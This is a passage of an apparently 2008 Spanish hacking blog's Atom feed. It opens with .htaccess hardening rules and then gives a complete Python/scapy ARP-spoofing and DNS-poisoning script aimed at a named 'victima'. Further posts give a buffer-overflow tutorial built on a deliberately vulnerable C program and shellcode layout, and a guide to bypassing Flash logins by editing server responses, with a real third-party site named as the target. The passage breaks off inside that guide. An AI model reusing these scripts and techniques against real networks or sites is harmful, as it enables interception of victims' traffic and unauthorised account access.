rgb(204, 204, 204);"&gt; Acunetix-User-agreement&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; con contenido: &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;http://www.acunetix.com/wvs/disc.htm &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Mandar Forbiden)&lt;/span&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Filtrado de robo de Cookies:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;RewriteCond %{HTTP_COOKIE} PHPSESSID=([^;]+) [NC]&lt;br /&gt;RewriteRule ^(.*)$ - [env=sessid:%1]&lt;br /&gt;Header set Set-Cookie "PHPSESSID=%{sessid}e; path=/; HttpOnly" env=sessid&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;En este caso filtre unicamente la cookie PHPSESSID (ya que solo es un codigo de ejemplo) pero puede cambiar el nombre de la cookie.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Restringir Metodos:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;RewriteCond %{REQUEST_METHOD} !^(GET|POST)&lt;br /&gt;RewriteRule .* - [F,L]&lt;br /&gt;IndexIgnore *&lt;br /&gt;&lt;br /&gt;Para entender mas esto, leer mi texto de hacking HTTP.&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Desactivar el Upload:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;LimitRequestBody 0&lt;br /&gt;&lt;br /&gt;Eso es util unicamente si no usamos un gestor en el directorio de nuestra web para subir archivos (cada quien le ve su utilidad en la seguridad).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Honeypot a los scanneres HTTP de tipo Brutes Forces:&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;IndexIgnore *&lt;br /&gt;Options All -Indexes&lt;br /&gt;ErrorDocument 101 /error.php&lt;br /&gt;ErrorDocument 204 /error.php&lt;br /&gt;ErrorDocument 205 /error.php&lt;br /&gt;ErrorDocument 400 /error.php&lt;br /&gt;ErrorDocument 500 /error.php&lt;br /&gt;ErrorDocument 400 /error.php&lt;br /&gt;ErrorDocument 403 /error.php&lt;br /&gt;ErrorDocument 404 /error.php&lt;br /&gt;ErrorDocument 405 /error.php&lt;br /&gt;ErrorDocument 406 /error.php&lt;br /&gt;ErrorDocument 407 /error.php&lt;br /&gt;ErrorDocument 408 /error.php&lt;br /&gt;ErrorDocument 409 /error.php&lt;br /&gt;ErrorDocument 411 /error.php&lt;br /&gt;ErrorDocument 413 /error.php&lt;br /&gt;ErrorDocument 414 /error.php&lt;br /&gt;ErrorDocument 416 /error.php&lt;br /&gt;ErrorDocument 417 /error.php&lt;br /&gt;ErrorDocument 501 /error.php&lt;br /&gt;ErrorDocument 502 /error.php&lt;br /&gt;ErrorDocument 503 /error.php&lt;br /&gt;ErrorDocument 504 /error.php&lt;br /&gt;ErrorDocument 505 /error.php&lt;span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Codigo del error.php:&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&amp;lt;?php&lt;br /&gt;echo '&amp;lt;&lt;span class="start-tag"&gt;b&lt;/span&gt;&lt;span class="end-tag"&gt;&amp;gt;Warning:&amp;lt;/b&amp;gt; mysql_query(): Access denied for user: root@localhost (Using&lt;br /&gt;&lt;pre id="line1"&gt;  password: YES) in &lt;span class="start-tag"&gt;&amp;lt;b&lt;/span&gt;&amp;gt;/home/root/public_html/mysql.php&amp;lt;/b&amp;gt; on line &amp;lt;&lt;span class="start-tag"&gt;b&lt;/span&gt;&amp;gt;12&amp;lt;/b&amp;gt;';&lt;br /&gt;&lt;/pre&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;La idea de esto fue de inyexion jeje..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-1130903856709559072?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/1130903856709559072/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=1130903856709559072' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1130903856709559072'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1130903856709559072'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/08/configuraciones-htaccess.html' title='Configuraciones .htaccess'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-1175404047898547966</id><published>2008-08-26T19:14:00.000-07:00</published><updated>2008-08-26T19:35:24.044-07:00</updated><title type='text'>Ejemplo de Envenenador HTTP en Python (basado en scapy)</title><content type='html'>&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 412px; height: 300px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;#!/usr/bin/python&lt;br /&gt;&lt;br /&gt;from twisted.internet import reactor&lt;br /&gt;from twisted.web import static, server&lt;br /&gt;import sys&lt;br /&gt;import os&lt;br /&gt;from scapy import *&lt;br /&gt;import socket&lt;br /&gt;import fcntl&lt;br /&gt;import struct&lt;br /&gt;import commands&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;if os.getuid()!=0:&lt;br /&gt;print "Necesitas uid 0 Para ejecutar este Script!"&lt;br /&gt;sys.exit(1)&lt;br /&gt;if len(sys.argv) != 4:&lt;br /&gt;print "Uso: ./xianur0.py  [DNS Server]&lt;ip router=""&gt; [Victima] [Interface]&lt;ip victima=""&gt;&lt;interface&gt;"&lt;br /&gt;sys.exit(1)&lt;br /&gt;&lt;br /&gt;def getip(ifname):&lt;br /&gt;s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)&lt;br /&gt;return socket.inet_ntoa(fcntl.ioctl(&lt;br /&gt;s.fileno(),&lt;br /&gt;0x8915,&lt;br /&gt;struct.pack('256s', ifname[:15])&lt;br /&gt;)[20:24])&lt;br /&gt;&lt;br /&gt;def getmac(iface):&lt;br /&gt;ifconfig = '/sbin/ifconfig'&lt;br /&gt;telltale = 'HWaddr '&lt;br /&gt;cmd = '%s %s' % (ifconfig, iface)&lt;br /&gt;output = commands.getoutput(cmd)&lt;br /&gt;&lt;br /&gt;inet = output.find(telltale)&lt;br /&gt;if inet &gt;= 0:&lt;br /&gt;start = inet + len(telltale)&lt;br /&gt;end = output.find(' ', start)&lt;br /&gt;addr = output[start:end]&lt;br /&gt;else:&lt;br /&gt;print 'No Se pudo Extraer el Mac de esta interface!'&lt;br /&gt;sys.exit(1)&lt;br /&gt;return addr&lt;br /&gt;dns_server = sys.argv[1]&lt;br /&gt;target_ip = sys.argv[2]&lt;br /&gt;conf.iface = sys.argv[3]&lt;br /&gt;tu_ip = getip(conf.iface)&lt;br /&gt;tu_mac = getmac(conf.iface)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;def constructor():&lt;br /&gt;try:&lt;br /&gt;if os.fork() &gt; 0: os._exit(0)&lt;br /&gt;except OSError, error:&lt;br /&gt;print 'Error Fork: %d (%s)' % (error.errno, error.strerror)&lt;br /&gt;os._exit(1)&lt;br /&gt;os.chdir('/')&lt;br /&gt;os.setsid()&lt;br /&gt;os.umask(0)&lt;br /&gt;try:&lt;br /&gt;pid = os.fork()&lt;br /&gt;if pid &gt; 0:&lt;br /&gt; print 'Servidor Web Iniciado: PID %d' % pid&lt;br /&gt; sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/&lt;br /&gt;   ARP(pdst=target_ip,psrc=dns_server,hwsrc=tu_mac),iface=conf.iface)&lt;br /&gt; pck = sniff(filter='port 53',iface=conf.iface,count=1)&lt;br /&gt; ip = pck[0].getlayer(IP)&lt;br /&gt; dns = pck[0].getlayer(DNS)&lt;br /&gt; response = IP(dst=ip.src,src=ip.dst)/UDP(dport=ip.sport,sport=ip.dport)&lt;br /&gt; response /= DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,ttl=10,rdata=tu_ip))&lt;br /&gt; response.display()&lt;br /&gt; send(response)&lt;br /&gt; os._exit(0)&lt;br /&gt;except OSError, error:&lt;br /&gt;print 'Error Fork: %d (%s)' % (error.errno, error.strerror)&lt;br /&gt;os._exit(1)&lt;br /&gt;servidor()&lt;br /&gt;&lt;br /&gt;def servidor():&lt;br /&gt;twisted_html_server = static.File( './' )&lt;br /&gt;reactor.listenTCP(80, server.Site(twisted_html_server))&lt;br /&gt;reactor.run()&lt;br /&gt;&lt;br /&gt;if __name__ == '__main__':&lt;br /&gt;&lt;br /&gt;constructor()&lt;br /&gt;&lt;/interface&gt;&lt;/ip&gt;&lt;/ip&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Nota: &lt;/span&gt;Editen el codigo para que funcione correctamente, no permito scriptkiddies jeje  ;)..&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-1175404047898547966?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/1175404047898547966/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=1175404047898547966' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1175404047898547966'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1175404047898547966'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/08/ejemplo-de-envenenador-http-en-python.html' title='Ejemplo de Envenenador HTTP en Python (basado en scapy)'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-5577412088098621556</id><published>2008-08-26T18:57:00.001-07:00</published><updated>2008-08-26T19:13:04.339-07:00</updated><title type='text'>Daemons en Python</title><content type='html'>def constructor(): &lt;span style="color: rgb(51, 255, 255);"&gt;#&lt;/span&gt;definimos el constructor del daemon&lt;br /&gt;    try:&lt;br /&gt;        if os.fork() &gt; 0: os._exit(0) &lt;span style="color: rgb(51, 255, 255);"&gt;#&lt;/span&gt;sale si el fork no trabaja bien&lt;br /&gt;    except OSError, error:&lt;br /&gt;        print 'Error En Fork: %d (%s)' % (error.errno, error.strerror) #lanza el error&lt;br /&gt;# de ejecucion del fork&lt;br /&gt;        os._exit(1)&lt;br /&gt;    os.chdir('/')&lt;br /&gt;    os.setsid()&lt;br /&gt;    os.umask(0)&lt;br /&gt;    try:&lt;br /&gt;        pid = os.fork() #obtiene el PID con el que trabajara nuestro daemon&lt;br /&gt;        if pid &gt; 0: &lt;span style="color: rgb(102, 255, 255);"&gt;#&lt;/span&gt;si el pid es mayor a 0 el fork fue correcto&lt;br /&gt;&lt;span style="color: rgb(102, 255, 255);"&gt;#&lt;/span&gt; y tenemos un lugar para nuestro daemon :)..&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;#&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Aqui Seria Lo que ejecutara el crearse el daemon, bien podemos solo imprimir el PID&lt;/span&gt;&lt;br /&gt;            os._exit(0)&lt;br /&gt;    except OSError, error:&lt;br /&gt;        print 'Error en Fork: %d (%s)' % (error.errno, error.strerror)&lt;br /&gt;        os._exit(1)&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;#&lt;/span&gt;Aqui estaria la funcion del daemon (lo que hara nuestro daemon)&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;if __name__ == '__main__':&lt;br /&gt;   &lt;br /&gt;    constructor() #cargamos nuestro constructor del daemon :)...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-5577412088098621556?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/5577412088098621556/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=5577412088098621556' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/5577412088098621556'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/5577412088098621556'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/08/daemons-en-python.html' title='Daemons en Python'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-3145722042552737072</id><published>2008-08-26T18:30:00.000-07:00</published><updated>2008-08-26T19:43:25.463-07:00</updated><title type='text'>Teoria BOF</title><content type='html'>&lt;b&gt;Conceptos:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;EIP:&lt;/b&gt; es el registro que almacena la direcci0n de la siguiente instruccion que debe ejecutar el procesador. IP por instruction pointer (puntero a instruccion)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;EBP:&lt;/b&gt; puntero a base (base pointer), apunta al elemento mas alto de la pila. la pila (stack) es una estructura de datos que utiliza el procesador para ayudarse en la o de los programas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;OllyDbg: &lt;/b&gt;Debugger que utilizaremos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;shellcode:&lt;/b&gt; es una tira de instrucciones escritas en ASM y codificadas en hexadecimal, que es usualmente lo que queremos que se ejecute una vez producida la falla.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;NOP:&lt;/b&gt; (0x90 o \x90)instruccion en ASM que significa no operational, es decir, que no haga nada. lo nico que hace es incrementar en uno el registro de siguiente instruccion (EIP) y ejecute lo que alla­ se encuentre. En nuestro caso sirve para que el procesador examine la memoria hasta que se encuentre con nuestra shellcode.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Teoria:&lt;/b&gt;&lt;br /&gt;Antes de Comenzar a Programar tenemos que saber la teoria:&lt;br /&gt;&lt;br /&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li&gt;Tener claro la cantidad de bytes del programa&lt;/li&gt;&lt;li&gt;Llenar el buffer y el EBP con NOPs y la shellcode&lt;/li&gt;&lt;li&gt;Identificar la direccion de retorno para ubicarla en el EIP&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Primero que nada necesitamos saber el tama;o del buffer:&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;char buffer[58];&lt;/div&gt;&lt;br /&gt;En este caso podemos notar que es de 58 bytes.&lt;br /&gt;Por ello si se sobrepasa este numero, podria haber problemas &lt;img src="http://foro.infiernohacker.com/Smileys/default/victory.gif" alt="giño" border="0" /&gt;...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Core Dump&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;Core Dump o Volcado de Memoria, es un registro no estructurado del contenido de la memoria en un momento concreto, generalmente utilizado para depurar un programa que ha finalizado su ejecucion incorrectamente. Actualmente se refiere a un archivo que contiene una imagen en memoria de un proceso determinado, pero originalmente consistir­a en un listado impreso de todo el contenido de la memoria.&lt;br /&gt;&lt;br /&gt;Un volcado de memoria es toda la memoria utilizada por el programa instalado escrita a un archivo. El tama;o del volcado dependera del programa instalado (es igual al valor de ws_BaseMemSize en la estructura del Esclavo). Un volcado de memoria puede ser creado si la DebugKey es presionada durante la ejecucion o luego de un error si el boton CoreDump es presionado. El nombre del volcado de memoria creado sera ".whdl_memory". La ubicacion por defecto es "PROGDIR:" pero puede ser cambiada con la opcion CoreDumpPath. Cualquier fichero existente con el mismo nombre siempre sera sobrescrito. Si el programa instalado utiliza Memoria Fast adicional, sera salvada bajo el nombre ".whdl_expmem".&lt;/div&gt;&lt;br /&gt;En otras palabras seria lo que ocurriria si sobrepasamos el tamao del buffer de la aplicacion vulnerable, que en este caso es de 58 bytes, es decir no es muy grande por lo cual con introducir 58 bytes en el char buffer causaria un core dumper.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Vamos al grano&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Programe un exe con solo 10 bytes de buffer, asi que comenzemos a divertirnos:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://img210.imageshack.us/img210/953/buffervf4.jpg" alt="" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;Como podran darse cuenta el programa se murio &lt;img src="http://foro.infiernohacker.com/Smileys/default/zevil_grin.gif" alt=":D" border="0" /&gt;, esto fue probocado ya que introduje mas bytes, que los que el buffer soportaba, por enden esto proboco un core dumper.&lt;br /&gt;&lt;br /&gt;Sources del Programa Vulnerable:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;&lt;br /&gt;void funcion(char *ax);&lt;br /&gt;&lt;br /&gt;int main (int argc, char *argv[])&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;if(argc&amp;lt;2)&lt;br /&gt;{&lt;br /&gt;printf("Uso: %s cadena\x0a", argv[0]);&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;funcion (argv[1]);&lt;br /&gt;return (0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void funcion (char *ax)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;char buffer[10];&lt;br /&gt;strcpy (buffer, ax);&lt;br /&gt;printf ("Cadena:\n%s\n", buffer);&lt;br /&gt;} &lt;br /&gt;&lt;/div&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;Cargamos el Archivo vulnerable con el OllyDbg:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://img219.imageshack.us/img219/1258/abrirns9.jpg" alt="" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Argumentos:&lt;/b&gt; AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.&lt;br /&gt;&lt;br /&gt;Le damos en &lt;img src="http://img219.imageshack.us/img219/6392/playil3.jpg" alt="" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://img219.imageshack.us/img219/2391/tablaih6.jpg" alt="" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;29 Caracteres&lt;/b&gt; y sobre escribimos &lt;b&gt;4&lt;/b&gt; del EBP y &lt;b&gt;1&lt;/b&gt; del EIP, es decir que se desbordo con 24.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Â¿Como sabemos que los sobreescribimos?&lt;/b&gt;&lt;br /&gt;Es simple, por que A en hexadecimal es 41 &lt;img src="http://foro.infiernohacker.com/Smileys/default/victory.gif" alt="giño" border="0" /&gt;.&lt;br /&gt;&lt;br /&gt;Bueno el buffer se lleno con 24, el ebp se llena con 4, y el EIP tambien, por enden, serian 32 para sobrescribir el EIP en totalidad, para corroborar utilizemos otra letra:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Argumentos:&lt;/b&gt; AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB&lt;br /&gt;&lt;br /&gt;&lt;img src="http://img117.imageshack.us/img117/1310/tabla1md1.jpg" alt="" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;y observaremos que en el eip nos resulta 42, B en hexadecimal es 42, por enden esto corrobora que sobrescribimos el eip correctamente &lt;img src="http://foro.infiernohacker.com/Smileys/default/zevil_grin.gif" alt=":D" border="0" /&gt;.&lt;br /&gt;&lt;br /&gt;Lo que nos queda saber es la direccion de retorno, la direccion de retorno es a donde queremos que salte nuestro shellcode, es decir la direccion siguiente que se ejecutara en la pila.&lt;br /&gt;&lt;br /&gt;Localizamos el &lt;b&gt;Push EBP&lt;/b&gt;, anotamos su direccion de memoria y la invertimos, es decir en caso de ser: bffff9d0 quedar­a: d0f9ffbf y pasado a array C: \xd0\xf9\xff\xbf (en el ejemplo de una pila linux).&lt;br /&gt;&lt;br /&gt;Ahora vamos a la accion:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Suponiendo que el buffer y el EBP se llenan con 1028 (dando un ejemplo) y que es un shellcode de 23 tendran que ser 1005 NOPs...&lt;br /&gt;&lt;br /&gt;En orden los datos serian:  1005 NOPs, 23 shellcode, Direccion de Retorno.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Gracias Zodiac por las definiciones&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-3145722042552737072?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/3145722042552737072/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=3145722042552737072' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3145722042552737072'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3145722042552737072'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/08/teoria-bof.html' title='Teoria BOF'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-5609490725511032024</id><published>2008-08-26T17:23:00.000-07:00</published><updated>2008-09-11T13:57:28.503-07:00</updated><title type='text'>Bypasseando Logins Flash y Ajax</title><content type='html'>Este texto ya fue hace varios a;os que lo escribi, aun no tenia muchos conocimientos (y ya los tengo? xD), pero aqui se los pongo (igualmente sirve aunque sea viejo jeje)&lt;br /&gt;&lt;br /&gt;Cito todo tal cual lo escribi hace tiempo:&lt;br /&gt;&lt;br /&gt;&lt;div style="overflow: auto; width: 100%;"&gt;&lt;div align="center"&gt;&lt;span style="color: rgb(215, 0, 0);"&gt;&lt;b&gt;Introduccion&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;La cosa es simple necesitamos achilles, una web con login flash y firefox (puede ser cualquier otro navegador pero yo les recomiendo un millon de veces firefox).&lt;br /&gt;&lt;br /&gt;&lt;div align="center"&gt;&lt;span style="color: rgb(215, 0, 0);"&gt;&lt;b&gt;La Tecnica&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;Bueno ahora bien comenzemos:&lt;br /&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li&gt;1? Cargamos el login flash&lt;/li&gt;&lt;li&gt;2? Configuramos el navegador para utilizar achilles&lt;/li&gt;&lt;li&gt;3? Corremos achilles y lo cofiguramos&lt;/li&gt;&lt;/ul&gt;Bueno ahora cuando este todo configurado, introducciomos en usuario el nombre del usuario al cual queremos "hackear", le damos enviar o send o lo que sea XD y nos aparesera el post con el usuario y el pass que metimos, le damos send, esperamos a que nos aparesca algo como esto:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Sat, 12 May 2007 20:20:34 GMT&lt;br /&gt;Server: Apache/2.0.52 (Red Hat)&lt;br /&gt;X-Powered-By: PHP/5.0.4&lt;br /&gt;Set-Cookie: PHPSESSID=g3ko5d2bndvusme8bqiib21if2; path=/&lt;br /&gt;Expires: Thu, 19 Nov 1981 08:52:00 GMT&lt;br /&gt;Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0&lt;br /&gt;Pragma: no-cache&lt;br /&gt;Content-Length: 45&lt;br /&gt;Content-Type: text/html; charset=ISO-8859-1&lt;br /&gt;&lt;br /&gt;&amp;amp;auto=0&amp;amp;username=Admin&amp;amp;error=ds_noUserOrPass&amp;amp;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;Lo Editamos y quedaria algo como:&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Sat, 12 May 2007 20:20:34 GMT&lt;br /&gt;Server: Apache/2.0.52 (Red Hat)&lt;br /&gt;X-Powered-By: PHP/5.0.4&lt;br /&gt;Set-Cookie: PHPSESSID=g3ko5d2bndvusme8bqiib21if2; path=/&lt;br /&gt;Expires: Thu, 19 Nov 1981 08:52:00 GMT&lt;br /&gt;Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0&lt;br /&gt;Pragma: no-cache&lt;br /&gt;Content-Length: 45&lt;br /&gt;Content-Type: text/html; charset=ISO-8859-1&lt;br /&gt;&lt;br /&gt;&amp;amp;auto=1&amp;amp;username=Admin&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;Le damos send y empezara a cargar el panel del usuario  &lt;img src="http://mbsoft.quae.net/foros/Smileys/classic/cool.gif" alt="Cool" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://img526.imageshack.us/img526/5671/loginflashzq1.jpg" alt="" border="0" height="600" width="800" /&gt;&lt;br /&gt;&lt;br /&gt;Aqui esta un video-tutorial de la falla By Me XD&lt;br /&gt;&lt;a href="http://www.badongo.com/file/3031646" target="_blank"&gt;http://www.badongo.com/file/3031646&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Parte 2:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div align="center"&gt;&lt;span style="color: rgb(196, 0, 0);"&gt;&lt;b&gt;Introduccion&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;Creo que ya le estamos dando duro a los login hechos en flash, bueno esta es la segunda parte de mi manual hacking login flash,  en esta entrega les ense?are otra forma de hackear los logins hechos en flash que mas que nada parese ser una tecnica de crackeo por el ejemplo que dare, bueno utilizando google:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;allinurl: admin.swf&lt;/b&gt;&lt;br /&gt;me tope con la web: &lt;a href="http://www.kitchenhomecreations.com/admin.swf" target="_blank"&gt;http://www.kitchenhomecreations.com/admin.swf&lt;/a&gt;&lt;br /&gt;Bueno utilizare esa web para esta entregra, Primero que nada la lista de lo que utilizaremos:&lt;br /&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li&gt;Achilles (solo para testeo)&lt;/li&gt;&lt;li&gt;Firefox&lt;/li&gt;&lt;li&gt;Un Decompilador de Flash (en este 